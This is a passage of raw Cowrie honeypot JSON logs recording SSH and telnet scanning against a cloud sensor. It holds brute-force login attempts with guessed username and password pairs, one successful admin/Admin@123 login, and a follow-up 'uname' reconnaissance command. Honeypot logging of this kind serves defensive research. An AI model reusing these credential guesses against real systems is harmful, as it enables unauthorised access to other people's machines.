512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:39.294281Z","src_ip":"95.38.165.118","session":"81d97f1901a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:40.964371Z","src_ip":"95.38.165.118","session":"81d97f1901a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:42.136042Z","src_ip":"95.38.165.118","session":"81d97f1901a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":54006,"dst_ip":"10.17.0.5","dst_port":22,"session":"82cf3f18a95a","protocol":"ssh","message":"New connection: 95.38.165.118:54006 (10.17.0.5:22) [session: 82cf3f18a95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:44.143663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:44.504126Z","src_ip":"95.38.165.118","session":"82cf3f18a95a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:44.508921Z","src_ip":"95.38.165.118","session":"82cf3f18a95a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:46.301910Z","src_ip":"95.38.165.118","session":"82cf3f18a95a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:47.899945Z","src_ip":"95.38.165.118","session":"82cf3f18a95a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.10583424568176,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:48.318646Z","src_ip":"69.4.83.194","session":"aa3313456a34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46560,"dst_ip":"10.17.0.5","dst_port":22,"session":"37ce9d2f1283","protocol":"ssh","message":"New connection: 95.38.165.118:46560 (10.17.0.5:22) [session: 37ce9d2f1283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:49.656960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:49.694493Z","src_ip":"95.38.165.118","session":"37ce9d2f1283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:50.536252Z","src_ip":"95.38.165.118","session":"37ce9d2f1283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.239.106.153","src_port":46630,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff69cfbe7a4c","protocol":"ssh","message":"New connection: 77.239.106.153:46630 (159.203.135.109:22) [session: ff69cfbe7a4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:51.393851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:51.403397Z","src_ip":"77.239.106.153","session":"ff69cfbe7a4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:51.492118Z","src_ip":"77.239.106.153","session":"ff69cfbe7a4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd12345","message":"login attempt [root/P@ssw0rd12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:51.874818Z","src_ip":"77.239.106.153","session":"ff69cfbe7a4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:52.143615Z","src_ip":"95.38.165.118","session":"37ce9d2f1283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:52.966543Z","src_ip":"77.239.106.153","session":"ff69cfbe7a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46562,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0eaf539b954","protocol":"ssh","message":"New connection: 95.38.165.118:46562 (10.17.0.5:22) [session: a0eaf539b954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:54.992311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:54.997071Z","src_ip":"95.38.165.118","session":"a0eaf539b954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:55.164045Z","src_ip":"95.38.165.118","session":"a0eaf539b954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55108,"dst_ip":"159.203.135.109","dst_port":23,"session":"90367955015e","protocol":"telnet","message":"New connection: 69.4.83.194:55108 (159.203.135.109:23) [session: 90367955015e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:55.591959Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:56.204048Z","src_ip":"95.38.165.118","session":"a0eaf539b954","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:56.590481Z","src_ip":"95.38.165.118","session":"a0eaf539b954","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:56.593779Z","src_ip":"95.38.165.118","session":"a0eaf539b954","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:56.762434Z","src_ip":"95.38.165.118","session":"a0eaf539b954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:56.767384Z","src_ip":"95.38.165.118","session":"a0eaf539b954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:56.929242Z","src_ip":"95.38.165.118","session":"37ce9d2f1283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":39466,"dst_ip":"159.203.135.109","dst_port":22,"session":"7924c229e03e","protocol":"ssh","message":"New connection: 103.149.170.125:39466 (159.203.135.109:22) [session: 7924c229e03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:57.223387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:57.228513Z","src_ip":"103.149.170.125","session":"7924c229e03e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:57.487568Z","src_ip":"103.149.170.125","session":"7924c229e03e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cnhjqrf","message":"login attempt [root/cnhjqrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:02:58.282160Z","src_ip":"103.149.170.125","session":"7924c229e03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":48882,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ac84cb66474","protocol":"ssh","message":"New connection: 95.38.165.118:48882 (10.17.0.5:22) [session: 2ac84cb66474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:00.109765Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:00.159929Z","src_ip":"103.149.170.125","session":"7924c229e03e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:00.181652Z","src_ip":"95.38.165.118","session":"2ac84cb66474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:00.394413Z","src_ip":"95.38.165.118","session":"2ac84cb66474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:01.896761Z","src_ip":"95.38.165.118","session":"2ac84cb66474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:03.893734Z","src_ip":"95.38.165.118","session":"2ac84cb66474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.391571044921875,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:05.163174Z","src_ip":"69.4.83.194","session":"9030c5bbd7f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":48886,"dst_ip":"10.17.0.5","dst_port":22,"session":"0732993d5bef","protocol":"ssh","message":"New connection: 95.38.165.118:48886 (10.17.0.5:22) [session: 0732993d5bef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:06.465115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:06.871970Z","src_ip":"95.38.165.118","session":"0732993d5bef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:07.329084Z","src_ip":"95.38.165.118","session":"0732993d5bef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:09.567282Z","src_ip":"95.38.165.118","session":"0732993d5bef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:10.917402Z","src_ip":"95.38.165.118","session":"0732993d5bef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":51298,"dst_ip":"10.17.0.5","dst_port":22,"session":"06b296e0d4b2","protocol":"ssh","message":"New connection: 95.38.165.118:51298 (10.17.0.5:22) [session: 06b296e0d4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:11.754265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:11.887742Z","src_ip":"95.38.165.118","session":"06b296e0d4b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@